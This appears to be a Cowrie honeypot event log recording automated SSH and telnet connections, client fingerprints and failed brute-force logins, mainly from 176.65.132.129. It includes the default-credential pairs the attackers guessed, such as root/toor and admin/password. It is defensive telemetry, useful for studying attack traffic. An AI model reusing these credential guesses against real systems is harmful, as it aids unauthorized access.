{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36702,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a9bb8d49f9","protocol":"ssh","message":"New connection: 176.65.132.129:36702 (10.17.0.5:22) [session: 86a9bb8d49f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:05.791397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:05.835004Z","src_ip":"176.65.132.129","session":"86a9bb8d49f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:05.900291Z","src_ip":"176.65.132.129","session":"86a9bb8d49f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:06.195717Z","src_ip":"176.65.132.129","session":"86a9bb8d49f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:07.279554Z","src_ip":"176.65.132.129","session":"86a9bb8d49f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36710,"dst_ip":"10.17.0.5","dst_port":22,"session":"324eb574a73f","protocol":"ssh","message":"New connection: 176.65.132.129:36710 (10.17.0.5:22) [session: 324eb574a73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:09.152217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:09.156576Z","src_ip":"176.65.132.129","session":"324eb574a73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:09.239445Z","src_ip":"176.65.132.129","session":"324eb574a73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:09.492849Z","src_ip":"176.65.132.129","session":"324eb574a73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:10.654310Z","src_ip":"176.65.132.129","session":"324eb574a73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":59128,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed52d2c461a5","protocol":"telnet","message":"New connection: 64.227.82.147:59128 (159.203.135.109:23) [session: ed52d2c461a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:10.904010Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36716,"dst_ip":"10.17.0.5","dst_port":22,"session":"42375441ade8","protocol":"ssh","message":"New connection: 176.65.132.129:36716 (10.17.0.5:22) [session: 42375441ade8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:12.480450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:12.484847Z","src_ip":"176.65.132.129","session":"42375441ade8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:12.566938Z","src_ip":"176.65.132.129","session":"42375441ade8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:12.811959Z","src_ip":"176.65.132.129","session":"42375441ade8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:13.896029Z","src_ip":"176.65.132.129","session":"42375441ade8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50200,"dst_ip":"10.17.0.5","dst_port":22,"session":"80141130090f","protocol":"ssh","message":"New connection: 176.65.132.129:50200 (10.17.0.5:22) [session: 80141130090f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:15.904715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:15.909465Z","src_ip":"176.65.132.129","session":"80141130090f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:15.993900Z","src_ip":"176.65.132.129","session":"80141130090f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:16.240762Z","src_ip":"176.65.132.129","session":"80141130090f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:17.325570Z","src_ip":"176.65.132.129","session":"80141130090f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50206,"dst_ip":"10.17.0.5","dst_port":22,"session":"399eb89fee0f","protocol":"ssh","message":"New connection: 176.65.132.129:50206 (10.17.0.5:22) [session: 399eb89fee0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:19.168894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:19.173605Z","src_ip":"176.65.132.129","session":"399eb89fee0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:19.258157Z","src_ip":"176.65.132.129","session":"399eb89fee0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:19.503507Z","src_ip":"176.65.132.129","session":"399eb89fee0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:20.728493Z","src_ip":"176.65.132.129","session":"399eb89fee0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50220,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca48d0286de3","protocol":"ssh","message":"New connection: 176.65.132.129:50220 (10.17.0.5:22) [session: ca48d0286de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:22.493397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:22.497821Z","src_ip":"176.65.132.129","session":"ca48d0286de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:22.583386Z","src_ip":"176.65.132.129","session":"ca48d0286de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:22.828956Z","src_ip":"176.65.132.129","session":"ca48d0286de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:23.913826Z","src_ip":"176.65.132.129","session":"ca48d0286de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":58622,"dst_ip":"159.203.135.109","dst_port":23,"session":"518cc2399683","protocol":"telnet","message":"New connection: 64.227.82.147:58622 (159.203.135.109:23) [session: 518cc2399683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:24.912226Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f047bb584f","protocol":"ssh","message":"New connection: 176.65.132.129:57420 (10.17.0.5:22) [session: f7f047bb584f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:25.938529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:25.942614Z","src_ip":"176.65.132.129","session":"f7f047bb584f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:26.023658Z","src_ip":"176.65.132.129","session":"f7f047bb584f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:26.267707Z","src_ip":"176.65.132.129","session":"f7f047bb584f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.501059770584106,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:26.404953Z","src_ip":"64.227.82.147","session":"ed52d2c461a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:27.352321Z","src_ip":"176.65.132.129","session":"f7f047bb584f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55880,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a61ccea6c9","protocol":"telnet","message":"New connection: 38.60.198.128:55880 (159.203.135.109:23) [session: 87a61ccea6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:27.496184Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57144,"dst_ip":"159.203.135.109","dst_port":23,"session":"4106116a287e","protocol":"telnet","message":"New connection: 38.60.198.128:57144 (159.203.135.109:23) [session: 4106116a287e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:28.392411Z"}
{"eventid":"cowrie.session.closed","duration":3.590184450149536,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:28.502245Z","src_ip":"64.227.82.147","session":"518cc2399683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.001505613327026,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:28.711225Z","src_ip":"192.211.53.160","session":"b93aca569a86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57434,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d08f4fc0857","protocol":"ssh","message":"New connection: 176.65.132.129:57434 (10.17.0.5:22) [session: 6d08f4fc0857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.213482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.217417Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.299403Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
